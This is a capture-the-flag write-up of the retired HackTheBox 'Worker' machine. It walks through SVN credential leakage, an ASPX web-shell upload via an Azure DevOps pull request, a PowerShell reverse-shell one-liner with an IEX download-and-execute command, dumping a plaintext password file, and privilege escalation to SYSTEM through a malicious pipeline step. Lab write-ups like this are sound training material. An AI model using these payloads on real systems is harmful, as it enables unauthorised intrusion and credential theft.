Writeup: HackTheBox Worker Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Worker, is retired.

Machine Info


Worker graph

2. Preparation

I have prepared some useful variables:

export IP=

3. Scanning and Reconnaissance

First, I used the nmap tool to identify open ports:

└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 23:32 CET
Nmap scan report for
Host is up (0.096s latency).
Not shown: 998 filtered ports
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds

4. Gaining Access the CVS

There was an SVN repository running on the server. I tried to download the content::

└──╼ $svn checkout svn://
A    dimension.worker.htb
A    dimension.worker.htb/LICENSE.txt
A    dimension.worker.htb/README.txt
A    dimension.worker.htb/index.html
A    moved.txt
Checked out revision 5.

I immediately added an entry to /etc/hosts:    worker.htb dimension.worker.htb

At http://worker.htb was the default site offered by IIS:

Website Worker

At http://dimension.worker.htb was a site designed by the Worker team:

Website Dimension Worker

I checked the repository log:

└──╼ $svn log
r5 | nathen | 2020-06-20 15:52:00 +0200 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
r4 | nathen | 2020-06-20 15:50:20 +0200 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
r3 | nathen | 2020-06-20 15:46:19 +0200 (Sat, 20 Jun 2020) | 1 line

r2 | nathen | 2020-06-20 15:45:16 +0200 (Sat, 20 Jun 2020) | 1 line

Added deployment script
r1 | nathen | 2020-06-20 15:43:43 +0200 (Sat, 20 Jun 2020) | 1 line

First version

Among the downloaded resources were the project directory and the moved.txt file:

└──╼ $cat moved.txt 
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

I immediately added an entry to /etc/hosts:    devops.worker.htb

Access to resources under http://devops.worker.htb was protected using The ‘Basic’ HTTP Authentication Scheme described in RFC 7617:

Website Devops Worker

I took a cursory look at the page source from the downloaded repository and came across the following hosted site addresses, which I added to /etc/hosts:    alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb

I started reviewing the changes to the repository from the beginning of the project’s life. In commit r2, I came across a new file that was a PowerShell script:

└──╼ $svn update -r r2
Updating '.':
A    deploy.ps1
Updated to revision 2.

The file contained a simple script that contained hardcoded credentials:

$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

This is how I obtained the first set of credentials nathen:wendel98

Using the obtained login data I tried to gain access to http://devops.worker.htb:

Website Devops Worker

This is how I accessed the Spectral repository of SmartHotel360 project:

Website Spectral Devops Worker

5. Gaining Acces the System Shell

I prepared a simple backdoor:

└──╼ $cp /usr/share/webshells/aspx/cmdasp.aspx 74wny0wl.aspx

However, I could not upload the file to branch master:

Website Master Spectral Devops Worker

So I completed the form so that the commit is sent to the new branch along with creating a new pull request:

Website New Branch Spectral Devops Worker

This time the attempt to upload the file was successful:

Website Commit Success Spectral Devops Worker

It remained to accept the pull request:

Website Pull Request Spectral Devops Worker

Then, I prepared the next stage of the backdoor:

└──╼ $ cat 74wny0wlshell.ps1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

It remained to start the http server:

└──╼ $sudo python3 -m http.server 80
[sudo] password for t4wny0wl: 
Serving HTTP on port 80 ( ...

and netcat:

└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl: 
listening on [any] 443 ...

and execute the command:

powershell "IEX (New-Object Net.WebClient).DownloadString(\"\");"

Website Powershell Request Spectral Devops Worker

As a result, a remote powershell session was established with rights of defaultapppool user:

└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 50939
iis apppool\defaultapppool

6. Privilege Escalation: iis apppool\defaultapppool ⇨ worker\robisl

There were several users at the machine:

# ls C:\Users

    Directory: C:\Users

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       2020-03-28     14:59                .NET v4.5                                                             
d-----       2020-03-28     14:59                .NET v4.5 Classic                                                     
d-----       2020-08-18     00:33                Administrator                                                         
d-r---       2020-03-28     14:01                Public                                                                
d-----       2020-07-22     01:11                restorer                                                              
d-----       2020-07-08     19:22                robisl

I have prepared a downloadable winPEAS:

└──╼ $cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/Obfuscated\ Releases/winPEASany.exe ./74wny0wl.exe

Then, I downloaded winPEAS to the server and ran the program:

# cd C:\Users\Public\Downloads
# wget -outfile 74wny0wl.exe
# ls

    Directory: C:\Users\Public\Downloads

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       2020-12-24     10:19         441856 74wny0wl.exe                                                          

# ./74wny0wl.exe

On the standard output, I found information about the W drive:

[+] Network Shares
    ADMIN$ (Path: C:\Windows)
    C$ (Path: C:\)
    IPC$ (Path: )
    W$ (Path: W:\)

I found a folder with configuration data on the drive:

 # ls

    Directory: W:\svnrepos\www\conf

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       2020-06-20     11:29           1112 authz                                                                 
-a----       2020-06-20     11:29            904 hooks-env.tmpl                                                        
-a----       2020-06-20     15:27           1031 passwd                                                                
-a----       2020-04-04     20:51           4454 svnserve.conf

The passwd file contained user passwords:

# Get-Content passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

The list included the robsil user, which was the user of the attacked machine.. I therefore acquired a pair of credentials robisl:wolves11

Using Evil-WinRM, I established a session as user robisl::

└──╼ $sudo gem install evil-winrm
└──╼ $evil-winrm -i worker.htb -u robisl -p wolves11

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> whoami

It remained to read the flag:

*Evil-WinRM* PS C:\Users\robisl\Desktop> Get-Content user.txt

7. Privilege Escalation: worker\robisl ⇨ nt authority\system

I downloaded and ran winPEAS again:

*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> wget -outfile 74wny0wl.exe
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ls

    Directory: C:\Users\robisl\AppData\Local\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/24/2020   1:12 PM         441856 74wny0wl.exe

*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ./74wny0wl.exe

My attention was drawn to an entry about Azure Pipelines Agent and the possibility of performing DLL Hijacking:


    Azure Pipelines Agent (127.Default.Hamilton01)(Azure Pipelines Agent (127.Default.Hamilton01))["w:\agents\agent01\bin\AgentService.exe"] - Autoload - isDotNet
    Possible DLL Hijacking in binary folder: w:\agents\agent01\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])

However, I did not have write permissions on that directory:

*Evil-WinRM* PS W:\agents\agent01\bin> (get-acl W:\agents\agent01\bin).access | ft IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags -auto

IdentityReference                          FileSystemRights AccessControlType IsInherited                InheritanceFlags
-----------------                          ---------------- ----------------- -----------                ----------------
BUILTIN\Administrators                          FullControl             Allow       False                            None
WORKER\VSTS_AgentService_G3eff7                 FullControl             Allow        True ContainerInherit, ObjectInherit
IIS APPPOOL\DefaultAppPool                            Write              Deny        True ContainerInherit, ObjectInherit
BUILTIN\Administrators                          FullControl             Allow        True ContainerInherit, ObjectInherit
NT AUTHORITY\SYSTEM                             FullControl             Allow        True ContainerInherit, ObjectInherit
CREATOR OWNER                                     268435456             Allow        True ContainerInherit, ObjectInherit
BUILTIN\Users                   ReadAndExecute, Synchronize             Allow        True ContainerInherit, ObjectInherit
BUILTIN\Users                                    AppendData             Allow        True                ContainerInherit
BUILTIN\Users                                   CreateFiles             Allow        True                ContainerInherit

Which I further confirmed by trying to open the file for writing:

*Evil-WinRM* PS W:\agents\agent01\bin> $outfile = "Agent.Worker.dll"
*Evil-WinRM* PS W:\agents\agent01\bin> Try { [io.file]::OpenWrite($outfile).close() }
 Catch { Write-Warning "Unable to write to output file $outputfile" }
Warning: Unable to write to output file

I decided to use the Azure Pipelines Agent from within the portal. Using the credentials robisl:wolves11, I logged into the repository:

Website Robisl Devops Worker

I switched to the Pipelines view and created a new pipeline:

Website Pipelines Devops Worker

I chose Azure Repos Git:

Website Azure Repos Git Devops Worker

I then pointed to the PartsUnlimited repository:

Website Pipeline Project Git Devops Worker

I then selected the ASP.NET option:

Website ASP-NET Git Devops Worker

I prepared a pipeline definition that retrieved and executed the script I had already used:

- 74wny0wl-branch

  solution: '**/*.sln'
  buildPlatform: 'Any CPU'
  buildConfiguration: 'Release'

- script: powershell "IEX (New-Object Net.WebClient).DownloadString(\"\");"

I added the created pipeline to the new branch:

Website 74wny0wl-branch-pipeline Git Devops Worker

I run netcat…

└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl: 
listening on [any] 443 ...

and saved the pipeline. After a few dozen seconds the connection was established:

└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 50731
# whoami
nt authority\system

It remained to read the flag:

# Get-Content C:\Users\Administrator\Desktop\root.txt

8. Summary

The following circumstances led to the capture of the flags:

Recommendations on which user to point to and how to configure Azure Pipelines Agent can be found here and here.